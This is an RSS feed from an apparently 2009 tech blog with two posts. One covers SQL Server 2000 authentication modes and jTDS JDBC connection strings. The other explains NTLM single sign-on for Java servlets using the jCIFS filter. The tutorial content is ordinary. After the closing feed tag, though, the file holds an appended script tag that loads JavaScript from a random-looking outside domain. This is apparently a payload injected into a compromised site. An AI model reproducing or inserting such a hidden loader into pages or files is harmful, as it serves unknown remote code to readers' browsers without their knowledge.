<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; NTLM Authentication</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/ntlm-authentication/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>MS SQL Server 2000 authentication modes</title>
		<link>http://www.dailyinfobyte.com/2009/10/06/ms-sql-server-2000-authentication-modes/</link>
		<comments>http://www.dailyinfobyte.com/2009/10/06/ms-sql-server-2000-authentication-modes/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 13:07:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[("jdbc:jtds:sqlserver://servernaem or IP address:port no/database name;user=domain username;password=password;domain=Domain name");]]></category>
		<category><![CDATA[Connection strings  used for NT security mode]]></category>
		<category><![CDATA[Connection strings used for NT security mode using JTDS driver:]]></category>
		<category><![CDATA[JDBC Driver]]></category>
		<category><![CDATA[JTDS Driver]]></category>
		<category><![CDATA[Microsoft SQL Server]]></category>
		<category><![CDATA[Microsoft SQL Server JDBC Driver]]></category>
		<category><![CDATA[Mixed mode]]></category>
		<category><![CDATA[MS SQL Server 2000 authentication modes]]></category>
		<category><![CDATA[NT security mode]]></category>
		<category><![CDATA[NTLM Authentication]]></category>
		<category><![CDATA[SQL Server Authentication]]></category>
		<category><![CDATA[Trouble shooting Login failed for user]]></category>
		<category><![CDATA[Trouble shooting Login failed for user: Null]]></category>
		<category><![CDATA[User doesn’t have access to the database]]></category>
		<category><![CDATA[Windows NT Authentication]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=231</guid>
		<description><![CDATA[With Microsoft SQL Database Server 2000 you can choose either of the two security (authentication) modes, namely:

NT security mode (Windows NT Authentication only),
Mixed mode (Windows NT Authentication and SQL Server Authentication).

 NT security mode (Windows NT Authentication only):
It is related to windows domain. Access will be given to existing domain user account.Using those credentials, user can [...]]]></description>
			<content:encoded><![CDATA[<p>With Microsoft SQL Database Server 2000 you can choose either of the two security (authentication) modes, namely:</p>
<ul>
<li>NT security mode<em> (Windows NT Authentication only)</em>,</li>
<li>Mixed mode (<em>Windows NT Authentication and SQL Server Authentication</em>).</li>
</ul>
<p> <strong>NT security mode<em> (Windows NT Authentication only)</em>:</strong></p>
<p>It is related to windows domain. Access will be given to existing domain user account.Using those credentials, user can access the database.Separate account is not created as in other databases.</p>
<p> <strong>Mixed mode (<em>Windows NT Authentication and SQL Server Authentication</em>)</strong></p>
<p>In these modes, both domain accounts and database accounts can be used to access the database.</p>
<p><span style="text-decoration: underline;"> JDBC drivers available for Microsoft SQL Database Server 2000:</span></p>
<p>      1. <a href="http://jtds.sourceforge.net/">JTDS Driver</a></p>
<p>JTDS driver works in both NT security mode and mixed mode.</p>
<p>      2. <a href="http://msdn.microsoft.com/en-us/data/aa937724.aspx">Microsoft SQL Server JDBC Driver</a></p>
<p>MS SQL server JDBC driver works in mixed mode only.</p>
<p> </p>
<p><strong><span style="text-decoration: underline;">Connection strings used for NT security mod<em>e </em>using JTDS driver:</span></strong></p>
<p>Ex:</p>
<p>con = java.sql.DriverManager.getConnection(&#8221;jdbc:jtds:sqlserver://servernaem or IP address:port no/database name;user=domain username;password=password;domain=Domain name&#8221;);</p>
<p>This string works in both windows and non-windows. This is not ntlm authentication method.</p>
<p>or</p>
<p>con = java.sql.DriverManager.getConnection(&#8221;jdbc:jtds:sqlserver://servernaem or IP address:port no/database name;&#8221;);</p>
<p>This method uses NTLM authentication. So NTLMauth.dll has to be copied to the system path. [ It is available along with JTDS driver. ]</p>
<p> </p>
<p><span style="text-decoration: underline;">Trouble shooting:</span></p>
<ol>
<li>Login failed for user: XXX</li>
<li>Login failed for user: Null</li>
</ol>
<p>The above errors occur, when you try to access the ms sql database from remote machines or applications.</p>
<ol>
<li>User doesn’t have access to the database.</li>
</ol>
<p>      2.   You may be trying to access the database using database account and ms sql server might have been set to NT security mod<em>e.</em></p>
<p>      3.    User is accessing the database from windows domain account and he has access to it. But still getting error message means, he didn’t implement NTLM method correctly or didn’t give correct credentials. Please check the connection strings given in above section.</p>
<p> For any questions or issues, leave comments here.</p>
<p> </p>
<p><strong> </strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/10/06/ms-sql-server-2000-authentication-modes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NTLM Authentication</title>
		<link>http://www.dailyinfobyte.com/2009/03/24/ntlm-authentication/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/24/ntlm-authentication/#comments</comments>
		<pubDate>Wed, 25 Mar 2009 03:25:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[HttpServletRequest.getRemoteUser()]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[NTLM Authentication]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[servlet questions]]></category>
		<category><![CDATA[Servlets]]></category>
		<category><![CDATA[Servlets FAQ]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[Web applications]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=145</guid>
		<description><![CDATA[Introduction:
This BOK details how to get a Java-based web-application to negotiate with a IE web client for username and domain information. This is a common requirement for web-based applications especially ones that do not want to bore users with a login page. IE will negotiate a user&#8217;s password hashes with the webserver, which checks their [...]]]></description>
			<content:encoded><![CDATA[<h2><span style="font-size: 10pt; font-family: Verdana;">Introduction:</span></h2>
<p class="MsoBodyText"><strong><span style="font-size: 10pt; font-family: Verdana;">This BOK details how to get a Java-based web-application to negotiate with <span class="GramE">a</span> IE web client for username and domain information. This is a common requirement for web-based applications especially ones that do not want to bore users with a login page. IE will negotiate a user&#8217;s password hashes with the <span class="SpellE">webserver</span>, which checks their authenticity against a windows domain controller. If valid, the user&#8217;s username and domain will be accessible to the <span class="SpellE">webserver</span> <span class="SpellE">servlets</span>.</span></strong><span style="font-size: 10pt; font-family: Verdana;"> </span></p>
<h2><span style="font-size: 10pt; font-family: Verdana;">NTLM Authentication and how we achieve it:</span></h2>
<pre><span style="font-family: Verdana;"><span style="mso-spacerun: yes;"> </span>
The method <span class="SpellE"><span class="GramE">HttpServletRequest.getRemoteUser</span></span><span class="GramE">(</span>) should return the username of the person using the browser which fired a request to this <span class="SpellE">Servlet</span>.
This method, however works correctly only if the user has been authenticated first by a <span class="SpellE">webserver</span> authentication scheme -
which could be BASIC<span class="GramE">,DIGEST</span> or CLIENT-CERT. This is the kind of setup the <span class="SpellE">the</span> Apache <span class="SpellE">webserver</span> provides, giving a challenge-response, username-password method of authentication.

What we do here is use a <span class="SpellE">Servlet</span> filter provided as part of the open-source <span class="SpellE">jCIFS</span> package, to get an IE user's username and domain. 

This filter will take the trouble of intercepting user requests, asking IE for the user's password <span class="SpellE">hashes,validating</span> them against a windows domain controller and enabling <span class="SpellE">HttpServletRequest.getRemoteUser</span>() to return the windows user id.</span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;">Please note this method will not work for non-IE clients, simply because this is a proprietary extension by Microsoft. </span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;">For other browsers you will have to rely on BASIC or certificate-based authentication.</span></pre>
<h2><span style="font-size: 10pt; font-family: Verdana;">How to setup your web application:</span></h2>
<pre><span style="font-family: Verdana;"><span style="mso-spacerun: yes;"> </span>First, we need to download a <span class="SpellE">jcifs</span> jar from <a href="http://jcifs.samba.org/"><strong><span style="mso-ansi-font-size: 10.0pt; mso-bidi-font-size: 10.0pt;"><span style="color: #3366cc;">http://jcifs.samba.org</span></span></strong></a>. I have tested this with <span class="SpellE">jcifs</span> version 0.7.14.jCIFS is from the makers of Samba and provides APIs to access Windows shares, networks and the ability to authenticate against a Windows domain controller. Place this jar under WEB-INF/lib of your web application. There is a filter called <span class="SpellE">jcifs.http.NtlmHttpFilter</span> which implements all the <span class="SpellE">wizadry</span> above. You need to register it in your application's <span class="SpellE">web.xml</span> descriptor:</span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre style="margin-left: 0.5in;"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;">&lt;web-app&gt;
...
<span style="mso-spacerun: yes;">   </span><span style="mso-spacerun: yes;"> </span>&lt;!-- NTLM HTTP Authentication only works with MSIE --&gt;
<span style="mso-spacerun: yes;">    </span>
<span style="mso-spacerun: yes;">    </span>&lt;filter&gt;
<span style="mso-spacerun: yes;">        </span>&lt;filter-name&gt;NTLM HTTP Authentication Filter&lt;/filter-name&gt;
<span style="mso-spacerun: yes;">        </span>&lt;filter-class&gt;<span class="SpellE">jcifs.http.NtlmHttpFilter</span>&lt;/filter-class&gt;

<span style="mso-spacerun: yes;">        </span>&lt;!-- CCD will help you with a PDC and WINS server <span class="SpellE">ip</span> at your location. --&gt;
<span style="mso-spacerun: yes;">        </span>&lt;init-<span class="SpellE">param</span>&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-name&gt;<span class="SpellE">jcifs.http.domainController</span>&lt;/<span class="SpellE">param</span>-name&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-value&gt;192.168.170.5&lt;/<span class="SpellE">param</span>-value&gt;
<span style="mso-spacerun: yes;">        </span>&lt;/init-<span class="SpellE">param</span>&gt;

<span style="mso-spacerun: yes;">        </span>&lt;init-<span class="SpellE">param</span>&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-name&gt;<span class="SpellE">jcifs.netbios.wins</span>&lt;/<span class="SpellE">param</span>-name&gt;
<span style="mso-spacerun: yes;">            </span>&lt;<span class="SpellE">param</span>-value&gt;192.168.166.13&lt;/<span class="SpellE">param</span>-value&gt;
<span style="mso-spacerun: yes;">        </span>&lt;/init-<span class="SpellE">param</span>&gt;
<span style="mso-spacerun: yes;">    </span>&lt;/filter&gt;

<span style="mso-spacerun: yes;">    </span>&lt;<span class="GramE">!--</span> This is the <span class="SpellE">url</span> under which we need access to the username and domain. --&gt;

<span style="mso-spacerun: yes;">    </span>&lt;filter-mapping&gt;
<span style="mso-spacerun: yes;">        </span>&lt;filter-name&gt;NTLM HTTP Authentication Filter&lt;/filter-name&gt;
<span style="mso-spacerun: yes;">        </span>&lt;<span class="SpellE">url</span>-pattern&gt;/*&lt;/<span class="SpellE">url</span>-pattern&gt;
<span style="mso-spacerun: yes;">    </span>&lt;/filter-mapping&gt;

...

&lt;/web-app&gt;</span></em></pre>
<pre style="margin-left: 0.5in;"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;"> </span></em></pre>
<pre><span style="font-family: Verdana;">That's it. Now all IE requests to your <span class="SpellE">webserver</span> <span class="SpellE">urls</span> as specified in the <span class="SpellE">web.xml</span> entries are negotiated so that you can call a <span class="SpellE"><span class="GramE">HttpServletRequest.getRemoteUser</span></span><span class="GramE">(</span>) to get the remote user's username in the form.

<span style="mso-spacerun: yes;">            </span><span class="GramE">DOMAIN\username.</span>

Please note at no point will a password dialog pop up for the user, the password hashes are picked from IE and validated with the domain controller.</span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;"> </span></pre>
<pre><span style="font-family: Verdana;">Example code for a <span class="SpellE"><span class="GramE">servlet</span></span><span class="GramE"> :</span></span></pre>
<pre style="margin-left: 45.8pt;"><span style="font-family: Verdana;"> </span></pre>
<pre style="margin-left: 45.8pt;"><span style="font-family: Verdana;"> </span></pre>
<pre style="margin-left: 45.8pt;"><span class="GramE"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;">public</span></em></span><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;"> void <span class="SpellE">doGet</span>( <span class="SpellE">HttpServletRequest</span> <span class="SpellE">req</span>,
<span style="mso-tab-count: 2;">                        </span><span class="SpellE">HttpServletResponse</span> <span class="SpellE">resp</span> )
throws <span class="SpellE">IOException</span>, <span class="SpellE">ServletException</span>
<span style="mso-spacerun: yes;">        </span></span></em></pre>
<pre style="margin-left: 45.8pt;"><em style="mso-bidi-font-style: normal;"><span style="font-family: Verdana;"><span style="mso-spacerun: yes;">        </span>{</span></em></pre>
<div style="margin-left: 30pt;">
<p class="MsoNormal" style="margin: 0in 0in 12pt 45.8pt;"><span class="SpellE"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';">PrintWriter</span></em></span><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';"> out = <span class="SpellE">resp.getWriter</span>();</p>
<p><span class="SpellE">resp.setContentType</span>( &#8220;text/html&#8221; );<br />
<span class="SpellE">out.println</span>( &#8220;&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;NTLM HTTP Authentication Example&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;BODY&gt;&#8221; );<br />
<span class="SpellE">out.println</span>( &#8220;&lt;h2&gt;NTLM HTTP Authentication Example&lt;/h2&gt;&#8221; );</p>
<p><span class="SpellE">out.println</span>( <span class="SpellE">req.getRemoteUser</span>() + &#8221; logged in&#8221; );</span></em>
</p>
<p class="MsoNormal" style="margin: 0in 0in 12pt 45.8pt;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';"> </span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 12pt 45.8pt;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';">}</span></em></p>
<p class="MsoNormal" style="margin: 0in 0in 12pt -30pt;"><span style="font-size: 10pt; font-family: Verdana; mso-bidi-font-family: 'Courier New';">If the filter has not been configured properly, a null will be printed for the above call to <span class="SpellE"><span class="GramE">req.getRemoteUser</span></span><span class="GramE">(</span>).</span></p>
<pre><span style="font-family: Verdana;"> </span></pre>
</div>
<h2><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: Verdana;">References:</span></span><span style="font-size: 10pt; font-family: Verdana;"></span></h2>
<ul type="disc">
<li class="MsoNormal" style="mso-list: l0 level1 lfo1; tab-stops: list .5in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span class="msonormal0"><span style="font-size: 10pt; font-family: Verdana;">Web <span class="GramE">Link :-</span> http://jcifs.samba.org. <a href="http://http/jcifs.samba.org"></a></span></span><span style="font-size: 10pt; font-family: Verdana;"></span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/24/ntlm-authentication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>